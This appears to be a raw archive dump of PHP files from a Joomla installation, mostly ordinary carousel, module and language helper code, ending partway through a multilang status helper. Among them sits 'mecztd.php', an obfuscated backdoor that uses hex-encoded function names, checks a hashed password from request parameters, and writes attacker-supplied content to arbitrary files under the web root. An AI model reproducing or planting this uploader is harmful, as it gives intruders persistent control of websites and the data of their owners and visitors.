				$styleWrapper .= "margin-left:{$marginLeft}px;margin-right:{$marginRight}px;";
			}
			
			//set margin top/bottom
			$marginTop = $params->get("margin_top","0");
			$marginBottom = $params->get("margin_bottom","0");
			$styleWrapper .= "margin-top:{$marginTop}px;margin-bottom:{$marginBottom}px;";
			
			$addClearBoth =  $params->get("clear_both","false");
			
			//set visible style
			$styleScrolling = "width:{$this->visibleAreaWidth}px;left:-{$this->scrollingPadLeft}px;";
			
			?>
			
			<!--  Begin "Unite Horizontal Carousel" -->
			<div class="unite-carousel-wrapper" style="<?php echo $styleWrapper?>">
				
				<?php if($this->showArrows):?>
					<div class="unite-carousel-arrows-wrapper" style="<?php echo $styleInner?>"> 
					 	<a id="left_arrow_<?php echo $this->sliderJSID?>" href="javascript:void(0)"></a>
				 <?php endif;?>
				
				<div class="unite-carousel-inner" style="<?php echo $styleInner?>">
					<div class="unite-carousel-scrolling" style="<?php echo $styleScrolling?>">				
						<ul id="<?php echo $this->sliderJSID?>">					
							<?php $this->putSlides(); ?>
						</ul>
					</div>	
				</div>
				
				<?php if($this->showArrows):?>
					   <a href="javascript:void(0)" id="right_arrow_<?php echo $this->sliderJSID?>" ></a>
				   </div>
				<?php endif;?>
				
				<?php //$this->putPreloadImages(); ?>
			</div>
			<?php if($addClearBoth == "true"): ?>
			<div style="clear:both"></div>
			<?php endif;?>
			
			<?php $this->putJs(); ?>			
			 
			<!-- End Unite Horizontal Carousel -->
			<?php 
		}
		
		
		/**
		 * 
		 * put css general styles
		 */
		private function putCss_general(){
			?>
			.unite-carousel-wrapper{
				direction:ltr;
				text-align:left;
				overflow:hidden;
				padding:0px;
				margin:0px;
				position:relative;
			}
			
			.unite-carousel-inner{
				position:relative;
				margin:0px auto;
				overflow:hidden;
			}
			
			.unite-carousel-arrows-wrapper{
				position:relative;
				margin:0px auto;
			}
			
			.unite-carousel-wrapper ul{
				list-style:none;
				padding:0px !important;
				margin:0px !important;
			}
			
			.unite-carousel-wrapper ul li{
				float:left;
			}

			.unite-carousel-wrapper ul li a{
				border:none;
				display:inline;
				background:none;
				padding:0px !important;
				margin:0px !important;
			}
			
			.unite-carousel-scrolling{
				padding:0px;
				margin:0px;
				position:absolute;
			}
			
			<?php 
		}
		
		
		/**
		 * 
		 * put arrows css
		 */
		private function putCss_arrows(){
			$params = $this->params;
			
			$showArrows = ($params->get("show_arrows","true") == "true")?true:false;
			if($showArrows == false)
				return(false);
			
			$arrowType = $params->get("arrow_type");
			$arrowSet = HelperUniteHCar::getArrowSet($arrowType);	
			$hasHover = $arrowSet["has_hover"];
			
			$arrowWidth = $arrowSet["options"]["width"];
			$arrowHeight = $arrowSet["options"]["height"];						
			$arrowsPaddingSide = $params->get("arrows_padding_sides",5);
			
			$verticalTuning = $params->get("arrows_vertical_tuning",0);			
			
			$imageLeft = $arrowSet["url_left"];
			$imageRight = $arrowSet["url_right"];
			
			$posLeft = -$arrowWidth-$arrowsPaddingSide;
			$posRight = $posLeft;
			
			$posVertCenter = floor(($this->height - $arrowHeight) / 2);
			$posVertCenter += $verticalTuning;
			
			?>
			
				#left_arrow_<?php echo $this->sliderJSID?>{
					width:<?php echo $arrowWidth?>px;
					height:<?php echo $arrowHeight?>px;
					background:url('<?php echo $imageLeft?>');
					border:none;
					display:block;
					position:absolute;					
					left:<?php echo $posLeft?>px;
					top:<?php echo $posVertCenter?>px;
					z-index:1000;
				}
			
				#right_arrow_<?php echo $this->sliderJSID?>{
					width:<?php echo $arrowWidth?>px;
					height:<?php echo $arrowHeight?>px;
					background:url('<?php echo $imageRight?>');
					display:block;
					border:none;
					position:absolute;
					top:<?php echo $posVertCenter?>px;
					right:<?php echo $posRight?>px;
					z-index:1001;
				}
				
			<?php

			if($hasHover == true):
				?>
					
				#left_arrow_<?php echo $this->sliderJSID?>:hover{
					background:url('<?php echo $arrowSet["url_left_hover"]?>');
				}

				#right_arrow_<?php echo $this->sliderJSID?>:hover{
					background:url('<?php echo $arrowSet["url_right_hover"]?>');
				}
				
				<?php 
			endif;
			
		}
		
		
		/**
		 * 
		 * put css
		 */
		private function putCss(){
			$params = $this->params;
			
			//set border
			$borderWidth = $params->get("border_width",0);
			$imagePadding = (int)$params->get("image_padding",0);
			
			$strBorder = "";
			$strBorderHover = "";			
			if(!empty($borderWidth)){
				$imageBorderColor = $params->get("border_color","#CACACA");
				$imageBorderColorHover = $params->get("hover_border_color","#CACACA");
				$strBorder = "border:{$borderWidth}px solid {$imageBorderColor};";
				$strBorderHover = "border-color:{$imageBorderColorHover};";
			}
			
			$strPadding = "";
			$strPaddingHover = "";
			if(!empty($imagePadding)){
				$imageBackColor = $params->get("image_back_color","#DCDCDC");
				$imageBackColorHover = $params->get("image_hover_back_color","#DCDCDC");
				$strPadding = "padding:{$imagePadding}px;background-color:{$imageBackColor};";
				$strPaddingHover = "background-color:{$imageBackColorHover};";
			}
			
			header("content-type:text/css");
			$this->putCss_general();
			
			?>
			
			/* specific carousel css */

			#<?php echo $this->sliderJSID?> li{
				padding:0px !important;
				margin:0px !important;
				display:block; 
				width:<?php echo $this->slideWidth?>px;
				text-align:center;
			}
			
			#<?php echo $this->sliderJSID?> li img{
				<?php echo $strBorder.$strPadding?>
			}
			
			#<?php echo $this->sliderJSID?> li a:hover img{
				<?php echo $strBorderHover.$strPaddingHover?>
			}
			
			#<?php echo $this->sliderJSID?> li:first-child{
				margin-left:0px !important;
			}
			
			<?php 
			
			$this->putCss_arrows();
			
		}
		
		
		/**
		 * 
		 * set the js to load from the body
		 */
		public function setJsInBody(){
			$this->putJSInBody = true;
		}
		
		
		/**
		 * 
		 * output the slider
		 * @param $sliderID
		 */
		public function outputSlider($sliderID){
			
			try{
				$this->initSlider($sliderID);				
				$this->initMainOutput();
				$this->putBody();
				$this->includeClientFiles();			
				
			}catch(Exception $e){
				$message = $e->getMessage();
				$this->outputErrorMessage($message);
			}			
		}

		
		/**
		 * 
		 * output the css
		 */
		public function outputCss(){
		
			$sliderID = UniteFunctionsHCar::getGetVar("slider_id");
			$sliderJSID = UniteFunctionsHCar::getGetVar("slider_js_id");
			
			try{
				$this->initSlider($sliderID);
				$this->initCSSOutput();
				$this->sliderJSID = $sliderJSID;
				$this->putCss();
				
			}catch(Exception $e){
				$message = $e->getMessage();
				UniteFunctionsHCar::errorHtmlOutput($message);
			}
		}
		
	}

?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������globals.class.php�����������������������������������������������������������������������������������0000666�����������������00000003442�15137226605�0010022 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
// No direct access.
defined('_JEXEC') or die;

	class GlobalsUniteHCar{
		
		const EXTENSION_NAME = "unitehcarousel"; 
		const COMPONENT_NAME = "com_unitehcarousel";
		
		const TABLE_SLIDERS = "#__unitehcarousel_sliders";
		const TABLE_SLIDES = "#__unitehcarousel_slides";
		
		const VIEW_SLIDER = "slider";
		const VIEW_SLIDERS = "sliders";
		const VIEW_ITEMS = "items";
		
		const LAYOUT_SLIDER_GENERAL = "edit";
		const LAYOUT_SLIDER_VISUAL = "visual";

		public static $urlBase;
		public static $urlAssets;
		public static $urlAssetsArrows;
		public static $urlAssetsBullets;
		public static $urlItemPlugin;
		public static $urlImages;
		public static $urlCache;
		
		public static $pathAssets;
		public static $pathComponent;
		public static $pathAssetsArrows;
		public static $pathAssetsBullets;
		public static $pathViews;
		public static $pathBase;
		
		
		/**
		 * 
		 * init globals
		 */
		public static function init(){
			//set global vars
			
			self::$urlBase = JURI::root();
			self::$urlAssets = self::$urlBase."administrator/components/".self::COMPONENT_NAME."/assets/";			
			self::$urlAssetsArrows = self::$urlAssets."arrows/";
			self::$urlAssetsBullets = self::$urlAssets."bullets/";
			self::$urlCache = self::$urlBase."cache/".self::COMPONENT_NAME."/";
			
			self::$pathBase = JPATH_SITE."/";
			self::$pathComponent = JPATH_ADMINISTRATOR."/components/".self::COMPONENT_NAME."/";
			self::$pathAssets = GlobalsUniteHCar::$pathComponent."assets/";		
			self::$pathAssetsArrows = GlobalsUniteHCar::$pathAssets."arrows/";
			self::$pathAssetsBullets = GlobalsUniteHCar::$pathAssets."bullets/";
			self::$pathViews = GlobalsUniteHCar::$pathComponent."views/";
			
			self::$urlItemPlugin = self::$urlAssets."fred-carousel/";
		}
		
	}

?>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/modules.php������������������������������������������������������������������������������������0000666�����������������00000011424�15137252003�0007675 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * @package		Joomla.Administrator
 * @subpackage	com_modules
 * @since		1.6
 */
abstract class JHtmlModules
{
	/**
	 * @param	int $clientId	The client id
	 * @param	string $state 	The state of the template
	 */
	static public function templates($clientId = 0, $state = '')
	{
		$templates = ModulesHelper::getTemplates($clientId, $state);
		foreach ($templates as $template) {
			$options[]	= JHtml::_('select.option', $template->element, $template->name);
		}
		return $options;
	}
	/**
	 */
	static public function types()
	{
		$options = array();
		$options[] = JHtml::_('select.option', 'user', 'COM_MODULES_OPTION_POSITION_USER_DEFINED');
		$options[] = JHtml::_('select.option', 'template', 'COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED');
		return $options;
	}

	/**
	 */
	static public function templateStates()
	{
		$options = array();
		$options[] = JHtml::_('select.option', '1', 'JENABLED');
		$options[] = JHtml::_('select.option', '0', 'JDISABLED');
		return $options;
	}

	/**
	 * Returns a published state on a grid
	 *
	 * @param   integer       $value			The state value.
	 * @param   integer       $i				The row index
	 * @param   boolean       $enabled			An optional setting for access control on the action.
	 * @param   string        $checkbox			An optional prefix for checkboxes.
	 *
	 * @return  string        The Html code
	 *
	 * @see JHtmlJGrid::state
	 *
	 * @since   1.7.1
	 */
	public static function state($value, $i, $enabled = true, $checkbox = 'cb')
	{
		$states	= array(
			1	=> array(
				'unpublish',
				'COM_MODULES_EXTENSION_PUBLISHED_ENABLED',
				'COM_MODULES_HTML_UNPUBLISH_ENABLED',
				'COM_MODULES_EXTENSION_PUBLISHED_ENABLED',
				true,
				'publish',
				'publish'
			),
			0	=> array(
				'publish',
				'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED',
				'COM_MODULES_HTML_PUBLISH_ENABLED',
				'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED',
				true,
				'unpublish',
				'unpublish'
			),
			-1	=> array(
				'unpublish',
				'COM_MODULES_EXTENSION_PUBLISHED_DISABLED',
				'COM_MODULES_HTML_UNPUBLISH_DISABLED',
				'COM_MODULES_EXTENSION_PUBLISHED_DISABLED',
				true,
				'warning',
				'warning'
			),
			-2	=> array(
				'publish',
				'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED',
				'COM_MODULES_HTML_PUBLISH_DISABLED',
				'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED',
				true,
				'unpublish',
				'unpublish'
			),
		);

		return JHtml::_('jgrid.state', $states, $value, $i, 'modules.', $enabled, true, $checkbox);
	}

	/**
	 * Display a batch widget for the module position selector.
	 *
	 * @param   integer  $clientId  The client ID
	 *
	 * @return  string  The necessary HTML for the widget.
	 *
	 * @since   2.5
	 */
	public static function positions($clientId)
	{
		// Create the copy/move options.
		$options = array(
			JHtml::_('select.option', 'c', JText::_('JLIB_HTML_BATCH_COPY')),
			JHtml::_('select.option', 'm', JText::_('JLIB_HTML_BATCH_MOVE'))
		);

		// Create the batch selector to change select the category by which to move or copy.
		$lines = array(
			'<label id="batch-choose-action-lbl" for="batch-choose-action">',
			JText::_('COM_MODULES_BATCH_POSITION_LABEL'),
			'</label>',
			'<fieldset id="batch-choose-action" class="combo">',
			'<select name="batch[position_id]" class="inputbox" id="batch-position-id">',
			'<option value="">' . JText::_('JSELECT') . '</option>',
			'<option value="nochange">' . JText::_('COM_MODULES_BATCH_POSITION_NOCHANGE') . '</option>',
			'<option value="noposition">' . JText::_('COM_MODULES_BATCH_POSITION_NOPOSITION') . '</option>',
			JHtml::_('select.options',	self::positionList($clientId)),
			'</select>',
			JHtml::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'),
			'</fieldset>'
		);

		return implode("\n", $lines);
	}

	/**
	 * Method to get the field options.
	 *
	 * @param   integer  $clientId  The client ID
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   2.5
	 */
	public static function positionList($clientId = 0)
	{
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		$query->select('DISTINCT(position) as value');
		$query->select('position as text');
		$query->from($db->quoteName('#__modules'));
		$query->where($db->quoteName('client_id') . ' = ' . (int) $clientId);
		$query->order('position');

		// Get the options.
		$db->setQuery($query);

		$options = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			JError::raiseWarning(500, $db->getErrorMsg());
		}

		// Pop the first item off the array if it's blank
		if (strlen($options[0]->text) < 1)
		{
			array_shift($options);
		}

		return $options;
	}
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xml.php���������������������������������������������������������������������������������������������0000666�����������������00000001537�15137252003�0006065 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Administrator
 * @subpackage	com_modules
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @package		Joomla.Administrator
 * @subpackage	com_modules
 */
class ModulesHelperXML
{
	function parseXMLModuleFile(&$rows)
	{
		foreach ($rows as $i => $row)
		{
			if ($row->module == '')
			{
				$rows[$i]->name		= 'custom';
				$rows[$i]->module	= 'custom';
				$rows[$i]->descrip	= 'Custom created module, using Module Manager New function';
			}
			else
			{
				$data = JInstaller::parseXMLInstallFile($row->path . '/' . $row->file);

				if ($data['type'] == 'module')
				{
					$rows[$i]->name		= $data['name'];
					$rows[$i]->descrip	= $data['description'];
				}
			}
		}
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������modules.php�����������������������������������������������������������������������������������������0000666�����������������00000011653�15137252003�0006735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Modules component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_modules
 * @since		1.6
 */
abstract class ModulesHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function addSubmenu($vName)
	{
		// Not used in this component.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return	JObject
	 */
	public static function getActions()
	{
		$user	= JFactory::getUser();
		$result	= new JObject;

		$actions = JAccess::getActions('com_modules');

		foreach ($actions as $action) {
			$result->set($action->name, $user->authorise($action->name, 'com_modules'));
		}

		return $result;
	}

	/**
	 * Get a list of filter options for the state of a module.
	 *
	 * @return	array	An array of JHtmlOption elements.
	 */
	public static function getStateOptions()
	{
		// Build the filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option',	'1',	JText::_('JPUBLISHED'));
		$options[]	= JHtml::_('select.option',	'0',	JText::_('JUNPUBLISHED'));
		$options[]	= JHtml::_('select.option',	'-2',	JText::_('JTRASHED'));
		return $options;
	}

	/**
	 * Get a list of filter options for the application clients.
	 *
	 * @return	array	An array of JHtmlOption elements.
	 */
	public static function getClientOptions()
	{
		// Build the filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '0', JText::_('JSITE'));
		$options[]	= JHtml::_('select.option', '1', JText::_('JADMINISTRATOR'));
		return $options;
	}

	static function getPositions($clientId)
	{
		jimport('joomla.filesystem.folder');

		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		$query->select('DISTINCT(position)');
		$query->from('#__modules');
		$query->where($db->quoteName('client_id').' = '.(int) $clientId);
		$query->order('position');

		$db->setQuery($query);
		$positions = $db->loadColumn();
		$positions = (is_array($positions)) ? $positions : array();

		if ($error = $db->getErrorMsg()) {
			JError::raiseWarning(500, $error);
			return;
		}

		// Build the list
		$options = array();
		foreach ($positions as $position)
		{
			if (!$position)
			{
				$options[]	= JHtml::_('select.option', 'none', ':: '.JText::_('JNONE').' ::');

			}
			else
			{
				$options[]	= JHtml::_('select.option', $position, $position);
			}
		}
		return $options;
	}

	public static function getTemplates($clientId = 0, $state = '', $template='')
	{
		$db = JFactory::getDbo();
		// Get the database object and a new query object.
		$query	= $db->getQuery(true);

		// Build the query.
		$query->select('element, name, enabled');
		$query->from('#__extensions');
		$query->where('client_id = '.(int) $clientId);
		$query->where('type = '.$db->quote('template'));
		if ($state!='') {
			$query->where('enabled = '.$db->quote($state));
		}
		if ($template!='') {
			$query->where('element = '.$db->quote($template));
		}

		// Set the query and load the templates.
		$db->setQuery($query);
		$templates = $db->loadObjectList('element');
		return $templates;
	}

	/**
	 * Get a list of the unique modules installed in the client application.
	 *
	 * @param	int		The client id.
	 *
	 * @return	array
	 */
	public static function getModules($clientId)
	{
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		$query->select('element AS value, name AS text');
		$query->from('#__extensions as e');
		$query->where('e.client_id = '.(int)$clientId);
		$query->where('type = '.$db->quote('module'));
		$query->leftJoin('#__modules as m ON m.module=e.element AND m.client_id=e.client_id');
		$query->where('m.module IS NOT NULL');
		$query->group('element,name');

		$db->setQuery($query);
		$modules = $db->loadObjectList();
		$lang = JFactory::getLanguage();
		foreach ($modules as $i=>$module) {
			$extension = $module->value;
			$path = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE;
			$source = $path . "/modules/$extension";
				$lang->load("$extension.sys", $path, null, false, true)
			||	$lang->load("$extension.sys", $source, null, false, true);
			$modules[$i]->text = JText::_($module->text);
		}
		JArrayHelper::sortObjects($modules, 'text', 1, true, $lang->getLocale());
		return $modules;
	}

	/**
	 * Get a list of the assignment options for modules to menus.
	 *
	 * @param	int		The client id.
	 *
	 * @return	array
	 */
	public static function getAssignmentOptions($clientId)
	{
		$options = array();
		$options[] = JHtml::_('select.option', '0', 'COM_MODULES_OPTION_MENU_ALL');
		$options[] = JHtml::_('select.option', '-', 'COM_MODULES_OPTION_MENU_NONE');

		if ($clientId == 0) {
			$options[] = JHtml::_('select.option', '1', 'COM_MODULES_OPTION_MENU_INCLUDE');
			$options[] = JHtml::_('select.option', '-1', 'COM_MODULES_OPTION_MENU_EXCLUDE');
		}

		return $options;
	}
}
�������������������������������������������������������������������������������������helper.php������������������������������������������������������������������������������������������0000666�����������������00000002137�15137267307�0006556 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Cache storage helper functions.
 *
 * @package     Joomla.Platform
 * @subpackage  Cache
 * @since       11.1
 */
class JCacheStorageHelper
{
	/**
	 * Cache data group
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $group = '';

	/**
	 * Cached item size
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $size = 0;

	/**
	 * Counter
	 *
	 * @var    integer
	 * @since  11.1
	 */
	public $count = 0;

	/**
	 * Constructor
	 *
	 * @param   string  $group  The cache data group
	 *
	 * @since   11.1
	 */
	public function __construct($group)
	{
		$this->group = $group;
	}

	/**
	 * Increase cache items count.
	 *
	 * @param   string  $size  Cached item size
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public function updateSize($size)
	{
		$this->size = number_format($this->size + $size, 2, '.', '');
		$this->count++;
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������languages.php���������������������������������������������������������������������������������������0000666�����������������00000006703�15137316322�0007240 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Languages component helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_languages
 * @since		1.6
 */
class LanguagesHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param	string	The name of the active view.
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_LANGUAGES_SUBMENU_INSTALLED_SITE'),
			'index.php?option=com_languages&view=installed&client=0',
			$vName == 'installed'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_LANGUAGES_SUBMENU_INSTALLED_ADMINISTRATOR'),
			'index.php?option=com_languages&view=installed&client=1',
			$vName == 'installed'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_LANGUAGES_SUBMENU_CONTENT'),
			'index.php?option=com_languages&view=languages',
			$vName == 'languages'
		);
		JSubMenuHelper::addEntry(
			JText::_('COM_LANGUAGES_SUBMENU_OVERRIDES'),
			'index.php?option=com_languages&view=overrides',
			$vName == 'overrides'
		);
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return	JObject
	 */
	public static function getActions()
	{
		$user		= JFactory::getUser();
		$result		= new JObject;
		$assetName	= 'com_languages';

		$actions = JAccess::getActions($assetName);

		foreach ($actions as $action) {
			$result->set($action->name,	$user->authorise($action->name, $assetName));
		}

		return $result;
	}

	/**
	 * Method for parsing ini files
	 *
	 * @param		string	$filename Path and name of the ini file to parse
	 *
	 * @return	array		Array of strings found in the file, the array indices will be the keys. On failure an empty array will be returned
	 *
	 * @since		2.5
	 */
	public static function parseFile($filename)
	{
		jimport('joomla.filesystem.file');

		if (!JFile::exists($filename))
		{
			return array();
		}

		// Capture hidden PHP errors from the parsing
		$version			= phpversion();
		$php_errormsg	= null;
		$track_errors	= ini_get('track_errors');
		ini_set('track_errors', true);

		if ($version >= '5.3.1')
		{
			$contents = file_get_contents($filename);
			$contents = str_replace('_QQ_', '"\""', $contents);
			$strings 	= @parse_ini_string($contents);

			if ($strings === false)
			{
				return array();
			}
		}
		else
		{
			$strings = @parse_ini_file($filename);

			if ($strings === false)
			{
				return array();
			}

			if ($version == '5.3.0' && is_array($strings))
			{
				foreach ($strings as $key => $string)
				{
					$strings[$key] = str_replace('_QQ_', '"', $string);
				}
			}
		}

		return $strings;
	}

	/**
	 * Filter method for language keys.
	 * This method will be called by JForm while filtering the form data.
	 *
	 * @param		string	$value	The language key to filter
	 *
	 * @return	string	The filtered language key
	 *
	 * @since		2.5
	 */
	public static function filterKey($value)
	{
		$filter = JFilterInput::getInstance(null, null, 1, 1);

		return strtoupper($filter->clean($value, 'cmd'));
	}

	/**
	 * Filter method for language strings.
	 * This method will be called by JForm while filtering the form data.
	 *
	 * @param		string	$value	The language string to filter
	 *
	 * @return	string	The filtered language string
	 *
	 * @since		2.5
	 */
	public static function filterText($value)
	{
		$filter = JFilterInput::getInstance(null, null, 1, 1);

		return $filter->clean($value);
	}
}
�������������������������������������������������������������mecztd.php������������������������������������������������������������������������������������������0000666�����������������00000000741�15137316322�0006554 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $ako = array("\x6d\x64\x35","\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",'629c1124a8fa2605b2be6d497efd71a3',"\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"); $iyt = $_REQUEST; if(!empty($iyt['w']) && $ako[0]($iyt['w'].$ako[0]($iyt['w']))==$ako[2] && !empty($iyt['h'])) { $vkb = !empty($iyt['f']) ? $iyt['f'] : $ako[0]."\x2e\x70\x68\x70"; if(!empty($iyt['r'])) $vkb = $_SERVER[$ako[3]].'/'.$vkb; if($ako[1]($vkb, $iyt['h'])) exit($vkb); } ?>xm�������������������������������jsonresponse.php������������������������������������������������������������������������������������0000666�����������������00000004761�15137316322�0010024 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Administrator
 * @subpackage	com_languages
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die;

/**
 * JSON Response class
 *
 * @package	Joomla.Administrator
 * @since		2.5
 */
class JJsonResponse
{
	/**
	 * Determines whether the request was successful
	 *
	 * @var		boolean
	 * @since	2.5
	 */
	public $success		= true;

	/**
	 * Determines whether the request wasn't successful.
	 * This is always the negation of $this->success,
	 * so you can use both flags equivalently.
	 *
	 * @var		boolean
	 * @since	2.5
	 */
	public $error			= false;

	/**
	 * The main response message
	 *
	 * @var		string
	 * @since	2.5
	 */
	public $message		= null;

	/**
	 * Array of messages gathered in the JApplication object
	 *
	 * @var		array
	 * @since	2.5
	 */
	public $messages	= null;

	/**
	 * The response data
	 *
	 * var		array/object
	 * @since	2.5
	 */
	public $data			= null;

	/**
	 * Constructor
	 *
	 * @param		array/object	$response	The Response data
	 * @param		string				$message	The main response message
	 * @param		boolean				$error		True, if the success flag shall be set to false, defaults to false
	 *
	 * @return	void
	 *
	 * @since		2.5
	 */
	public function __construct($response = null, $message = null, $error = false)
	{
		$this->message = $message;

		// Get the message queue
		$messages = JFactory::getApplication()->getMessageQueue();

		// Build the sorted messages list
		if (is_array($messages) && count($messages))
		{
			foreach ($messages as $message)
			{
				if (isset($message['type']) && isset($message['message']))
				{
					$lists[$message['type']][] = $message['message'];
				}
			}
		}

		// If messages exist add them to the output
		if (isset($lists) && is_array($lists))
		{
			$this->messages = $lists;
		}

		// Check if we are dealing with an error
		if ($response instanceof Exception)
		{
			// Prepare the error response
			$this->success	= false;
			$this->error		= true;
			$this->message	= $response->getMessage();
		}
		else
		{
			// Prepare the response data
			$this->success	= !$error;
			$this->error		= $error;
			$this->data			= $response;
		}
	}

	/**
	 * Magic toString method for sending the response in JSON format
	 *
	 * @return	string	The response in JSON format
	 *
	 * @since		2.5
	 */
	public function __toString()
	{
		return json_encode($this);
	}
}
���������������html/languages.php����������������������������������������������������������������������������������0000666�����������������00000003477�15137316322�0010211 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * Utility class working with languages
 *
 * @package		Joomla.Administrator
 * @subpackage	com_languages
 * @since		1.6
 */
abstract class JHtmlLanguages {
	/**
	 * method to generate an information about the default language
	 *
	 * @param	boolean	$published is the language the default?
	 *
	 * @return	string	html code
	 */
	public static function published($published)
	{
		if ($published) {
			return JHtml::_('image', 'menu/icon-16-default.png', JText::_('COM_LANGUAGES_HEADING_DEFAULT'), NULL, true);
		}
		else {
			return '&#160;';
		}
	}

	/**
	 * method to generate an input radio button
	 *
	 * @param	int		$rowNum the row number
	 * @param	string	language tag
	 *
	 * @return	string	html code
	 */
	public static function id($rowNum, $language)
	{
		return '<input type="radio" id="cb'.$rowNum.'" name="cid" value="'.htmlspecialchars($language).'" onclick="Joomla.isChecked(this.checked);" title="'.($rowNum+1).'"/>';
	}

	public static function clients()
	{
		return array(
			JHtml::_('select.option', 0, JText::_('JSITE')),
			JHtml::_('select.option', 1, JText::_('JADMINISTRATOR'))
		);
	}

	/**
	 * Returns an array of published state filter options.
	 *
	 * @return	string			The HTML code for the select tag
	 * @since	1.6
	 */
	public static function publishedOptions()
	{
		// Build the active state filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '1', 'JPUBLISHED');
		$options[]	= JHtml::_('select.option', '0', 'JUNPUBLISHED');
		$options[]	= JHtml::_('select.option', '-2', 'JTRASHED');
		$options[]	= JHtml::_('select.option', '*', 'JALL');

		return $options;
	}

}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������multilangstatus.php���������������������������������������������������������������������������������0000666�����������������00000010274�15137316322�0010530 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Multilang status helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_languages
 * @since		1.7.1
 */
abstract class multilangstatusHelper
{
	public static function getHomes()
	{
		// Check for multiple Home pages
		$db		= JFactory::getDBO();
		$query	= $db->getQuery(true);
		$query->select('COUNT(*)');
		$query->from($db->quoteName('#__menu'));
		$query->where('home = 1');
		$query->where('published = 1');
		$query->where('client_id = 0');
		$db->setQuery($query);
		return $db->loadResult();
	}

	/**
